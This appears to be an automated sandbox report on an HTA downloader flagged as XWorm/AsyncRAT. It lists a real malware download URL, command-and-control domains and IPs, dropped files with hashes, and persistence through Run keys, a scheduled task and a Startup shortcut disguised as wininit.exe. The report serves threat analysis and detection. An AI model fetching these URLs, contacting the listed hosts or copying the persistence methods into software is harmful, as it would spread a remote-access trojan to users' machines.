.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
downloader2.hta	32%	ReversingLabs	Script-WScript.Trojan.XWorm

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\BIT6DEB.tmp	100%	Avira	TR/Spy.Gen
C:\Users\user\AppData\Roaming\wininit.exe	100%	Avira	TR/Spy.Gen
C:\Users\user\AppData\Local\Temp\BIT6DEB.tmp	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\wininit.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\BIT6DEB.tmp	92%	ReversingLabs	ByteCode-MSIL.Spyware.AsyncRAT
C:\Users\user\AppData\Local\Temp\wininit.exe (copy)	92%	ReversingLabs	ByteCode-MSIL.Spyware.AsyncRAT
C:\Users\user\AppData\Roaming\wininit.exe	92%	ReversingLabs	ByteCode-MSIL.Spyware.AsyncRAT

Source	Detection	Scanner	Label
http://2k8u3.org/wininit.exeC:	0%	Avira URL Cloud	safe
ddk.2k8u3.org	0%	Avira URL Cloud	safe
http://2k8u3.org/wininit.exe/C:	100%	Avira URL Cloud	malware
http://2k8u3.org/wininit.exe	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
ddk.2k8u3.org	116.122.95.113	true	true	unknown
2k8u3.org	104.21.80.1	true	true	unknown
ip-api.com	208.95.112.1	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
ddk.2k8u3.org	true	Avira URL Cloud: safe	unknown
http://ip-api.com/line/?fields=hosting	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.3.dr	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000007.00000002.2650109516.0000024B1FEE0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2741207270.000001A295FEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2882061125.00000262B2F0A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3057537963.000001B410069000.00000004.00000800.00020000.00000000.sdmp	false		high
http://2k8u3.org/wininit.exe/C:	edb.log.3.dr	false	Avira URL Cloud: malware	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000E.00000002.2936521448.000001B400229000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000007.00000002.2632232562.0000024B10099000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2692129837.000001A2861AA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2789265627.00000262A30C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2936521448.000001B400229000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000E.00000002.2936521448.000001B400229000.00000004.00000800.00020000.00000000.sdmp	false		high
http://2k8u3.org/wininit.exe	bitsadmin.exe, 00000001.00000002.2433341737.0000000002E40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.3278495341.000001BA68CA6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.2480849296.000001BA6955B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.2111634556.000001BA6955B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.2458818627.000001BA6955B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.2432558607.000001BA6955B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.3279269441.000001BA6955B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.3280358456.000001BA6E20F000.00000004.00000020.00020000.00000000.sdmp, downloader2.hta	true	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000007.00000002.2632232562.0000024B10099000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2692129837.000001A2861AA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2789265627.00000262A30C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2936521448.000001B400229000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 0000000E.00000002.3057537963.000001B410069000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000007.00000002.2650109516.0000024B1FEE0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2741207270.000001A295FEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2882061125.00000262B2F0A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3057537963.000001B410069000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 0000000E.00000002.3057537963.000001B410069000.00000004.00000800.00020000.00000000.sdmp	false		high
http://2k8u3.org/wininit.exeC:	bitsadmin.exe, 00000001.00000002.2433341737.0000000002E4B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ip-api.com	wininit.exe, 00000005.00000002.3282808526.0000000002711000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 0000000E.00000002.3057537963.000001B410069000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000003.00000002.3280717372.000001BA6E28D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000003.00000003.2048029550.000001BA6E0C0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	false		high
http://www.microsoft.	powershell.exe, 0000000E.00000002.3079855605.000001B46E55F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000007.00000002.2632232562.0000024B0FE71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2692129837.000001A285F81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2789265627.00000262A2EA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2936521448.000001B400001000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	wininit.exe, 00000005.00000002.3282808526.0000000002711000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2632232562.0000024B0FE71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2692129837.000001A285F81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2789265627.00000262A2EA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2936521448.000001B400001000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 0000000E.00000002.2936521448.000001B400229000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
116.122.95.113	ddk.2k8u3.org	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
104.21.80.1	2k8u3.org	United States	13335	CLOUDFLARENETUS	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1568462
Start date and time:	2024-12-04 16:24:56 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	downloader2.hta
Detection:	MAL
Classification:	mal100.troj.evad.winHTA@24/27@3/4
EGA Information:	Successful, ratio: 14.3%
HCA Information:	Successful, ratio: 95% Number of executed functions: 77 Number of non-executed functions: 4
Cookbook Comments:	Found application associated with file extension: .hta

Warnings

Exclude process from analysis (whitelisted): WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 23.218.208.109
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, e16604.g.akamaiedge.net, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target bitsadmin.exe, PID 3628 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 3276 because it is empty
Execution Graph export aborted for target powershell.exe, PID 3372 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5584 because it is empty
Execution Graph export aborted for target wininit.exe, PID 5428 because it is empty
Execution Graph export aborted for target wininit.exe, PID 6180 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: downloader2.hta

Simulations

Behavior and APIs

Time	Type	Description
10:25:49	API Interceptor	2x Sleep call for process: svchost.exe modified
10:26:34	API Interceptor	78x Sleep call for process: powershell.exe modified
10:27:37	API Interceptor	11x Sleep call for process: wininit.exe modified
16:27:38	Task Scheduler	Run new task: wininit path: C:\Users\user\AppData\Roaming\wininit.exe
16:27:40	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run wininit C:\Users\user\AppData\Roaming\wininit.exe
16:27:48	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run wininit C:\Users\user\AppData\Roaming\wininit.exe
16:27:57	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wininit.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	JjUCGUKdtX.exe	Get hash	malicious	Unknown	Browse	ip-api.com/json/?fields=225545
	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc, Vidar	Browse	ip-api.com/json/
	T9R663ZHsf.exe	Get hash	malicious	DCRat	Browse	ip-api.com/line/?fields=hosting
	file.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	ip-api.com/json/
	7Zur2FiS0p.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Hlx2hL1z8B.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	KqJ1zWlHp1.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	zwW6sDt6hU.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	ip-api.com/line/?fields=hosting
	Eemw0Iqp2J.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	b83NG35487.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	JjUCGUKdtX.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc, Vidar	Browse	208.95.112.1
	T9R663ZHsf.exe	Get hash	malicious	DCRat	Browse	208.95.112.1
	file.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	208.95.112.1
	https://www.collage.inc/	Get hash	malicious	Unknown	Browse	208.95.112.2
	7Zur2FiS0p.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Hlx2hL1z8B.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	KqJ1zWlHp1.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	zwW6sDt6hU.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	208.95.112.1
	Eemw0Iqp2J.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	1733325245efb540ba670bc87cda05695e7839c909eeca3e1633b495d258461820ead14a47442.dat-decoded.exe	Get hash	malicious	Unknown	Browse	172.67.211.47
	https://larester.es/rhude/Odrivex/	Get hash	malicious	Unknown	Browse	104.16.124.96
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	188.114.97.6
	rOJS25YL2e.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	file.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.6
	Uii3leknna.exe	Get hash	malicious	Unknown	Browse	172.67.146.84
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.7.245
	https://dejahag.r.tsp1-brevo.net/tr/cl/KmGd9A1qqSlrOj2z__X25j5HoX7GCHGh0hX68Ejr3MLOr6zBgWSV3EWc4RbCw4ZZiVYjLC-PzxJdl0d2AFII_wRC4M3nzB9ceIDoUxWLGU4ptWLKsXN_B1kGiCF4WvrX94vTVpdbOblvTJTQlDmB3Q-QymvZdRYMQX9kefXxoLT_yIgedcG3oCW18dq3lTB1Raf_otB-yM1td6JPh8uR6e4fHKowec0Y4DKkm-UGJA8Xy3SelJ-z0r2e_0RzSj-TLkScHGtnP2gFC9kxWgEQ0LKu	Get hash	malicious	Unknown	Browse	172.64.150.216
	FwhEhTLFjX.lnk	Get hash	malicious	Unknown	Browse	172.67.146.84
	Uii3leknna.exe	Get hash	malicious	Unknown	Browse	104.21.63.142
TUT-ASUS	JjUCGUKdtX.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc, Vidar	Browse	208.95.112.1
	T9R663ZHsf.exe	Get hash	malicious	DCRat	Browse	208.95.112.1
	file.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	208.95.112.1
	http://flcu.ph	Get hash	malicious	Unknown	Browse	162.252.214.4
	https://www.collage.inc/	Get hash	malicious	Unknown	Browse	208.95.112.2
	7Zur2FiS0p.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Hlx2hL1z8B.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	KqJ1zWlHp1.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	zwW6sDt6hU.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	208.95.112.1
SKB-ASSKBroadbandCoLtdKR	x86.elf	Get hash	malicious	Mirai	Browse	175.122.183.142
	x86.elf	Get hash	malicious	Mirai	Browse	114.202.170.6
	xd.x86.elf	Get hash	malicious	Mirai	Browse	211.208.163.66
	sora.mpsl.elf	Get hash	malicious	Mirai	Browse	123.213.250.138
	sora.mips.elf	Get hash	malicious	Mirai	Browse	211.211.211.191
	la.bot.arm5.elf	Get hash	malicious	Mirai	Browse	175.116.163.145
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse	118.223.49.5
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	58.123.120.147
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	218.239.158.160
	arm5.nn-20241201-1515.elf	Get hash	malicious	Mirai, Okiru	Browse	175.124.162.146

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8492253094402288
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugP:gJjJGtpTq2yv1AuNZRY3diu8iBVqF9
MD5:	587FA7936C62A7F149150A4F07CE526F
SHA1:	93982F3801011639F556BE17D23914956812017A
SHA-256:	83DEACE21E9159F3A8718F091BB2225A0FC3C808B2690A2B0CF8A65EC50467A3
SHA-512:	1E72AAD011112A9C51AE778159E77F2E0AAF9E3A757704A9CAE0EAFE0C8E878E941872B4EA0D5CA4A77E4D43F1CD9DB0ED800766144EA342F57A4CD659F0B351
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xa7566a5e, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.658570138078501
Encrypted:	false
SSDEEP:	1536:JSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Jaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	54A3AFF972443BEC8FB076D0AD90E7DA
SHA1:	9579014F77415DB72DB8A3E430148A222327994D
SHA-256:	8D19ACF14C69BB8DE1FB4D613689D42821B04AB35EBD2065D10C3C6D974D64D8
SHA-512:	5F31A593DA352013F0787D47275C1D8E7193E8771F176DF01B0F3983F6F3CFB4283CA1073ED83C399799AD9E85012378ACB6525ED9D25E3702FE734FD08E33F5
Malicious:	false
Preview:	.Vj^... ...............X\...;...{......................0.z..........{..1....\|/.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{....................................1....\|O..................yi.1....\|/..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08130676124721575
Encrypted:	false
SSDEEP:	3:Xml/8Yejz3GGuAJkhvekl1LU8qh3ctAllrekGltll/SPj:2t8zjz3GrxlZUlEAJe3l
MD5:	F7482938F8DBA6A3A8E112E4E7E50E0C
SHA1:	169F69E684848BA8C84739E6F80193026FDFD50F
SHA-256:	60058CFB851AD6DF3461C234E7DE32F79622BF0A5D8C05C8DFA0F059529A0CBE
SHA-512:	CB33EAB2E850280F55DBA89DBA89F12630AE5CA384FF10163093A8042D9E579106E3373F6C64D2A1076D1BAE8D38AF5B791B53FEFBC532D6F3EE599E982C85E1
Malicious:	false
Preview:	..C......................................;...{..1....\|/......{...............{.......{...XL......{...................yi.1....\|/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\wininit.exe.log

Process:	C:\Users\user\AppData\Roaming\wininit.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\BIT6DEB.tmp

Process:	C:\Windows\System32\svchost.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	6.071663313968177
Encrypted:	false
SSDEEP:	1536:uWm/qYqZp1parEfel1tQ7ScRM40bwnssq5lV6R14OdHZtdDS:uiXBQeOcG40bwwPOh9S
MD5:	DC8534F103A3167CEC27B4B01FEA89A4
SHA1:	8B4326CD0F572F0FFFA42B2E94739E9D756BD7F0
SHA-256:	11F65837861268603D19266A62AD2C1876D5CFE33540704860FD7AFE27A476E1
SHA-512:	61A8CE5C6ABD24C50558A8D1708F94275AC1ACBE166D6502F5FB22711A9056D1E95725C66677B631E97AB14F8D0AB6DFC086442302D7990E8DAC5CDBCA3C57B1
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Temp\BIT6DEB.tmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\BIT6DEB.tmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\BIT6DEB.tmp, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....6g.................$...........C... ...`....@.. ....................................@.................................TC..W....`..F............................................................................ ............... ..H............text....#... ...$.................. ..`.rsrc...F....`.......&..............@..@.reloc..............................@..B.................C......H........m..........&.....................................................(.....r...p. .t....(.....r...p. p{..s.........s.........s.........s..........rO..p. ..e..r...p. .....r(..p. .]b..rZ..p. .....r...p. .!....((....r...p. (....r...p. . ...(+...-.(,...,.+.(-...,.+.(...,.+.()...,..(Z..."(....+.&($...&+..+5sk... .... .'..ol...(,...~....-.(_...(Q...~....om...&.-..r...p. w....r2..p. E/...rd..p. E....r...p. ....r...p. .8F..r...p. .(T..r,.

C:\Users\user\AppData\Local\Temp\Log.tmp

Process:	C:\Users\user\AppData\Local\Temp\wininit.exe
File Type:	Generic INItialization configuration [WIN]
Category:	modified
Size (bytes):	58
Entropy (8bit):	3.598349098128234
Encrypted:	false
SSDEEP:	3:rRSFYJKXzovNsr42VjFYJKXzovX:EFYJKDoWr5FYJKDoP
MD5:	5362ACB758D5B0134C33D457FCC002D9
SHA1:	BC56DFFBE17C015DB6676CF56996E29DF426AB92
SHA-256:	13229E0AD721D53BF9FB50FA66AE92C6C48F2ABB785F9E17A80E224E096028A4
SHA-512:	3FB6DA9993FBFC1DC3204DC2529FB7D9C6FE4E6F06E6C8E2DC0BE05CD0E990ED2643359F26EC433087C1A54C8E1C87D02013413CE8F4E1A6D2F380BE0F5EB09B
Malicious:	false
Preview:	....### explorer ###..[WIN]r[WIN]....### explorer ###..r

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1feyxm0q.cro.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2z4zq3rp.5w3.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a30rvqoc.odu.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cc0cta14.52s.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dtdntybc.4z2.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hl0gwvzv.mf3.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
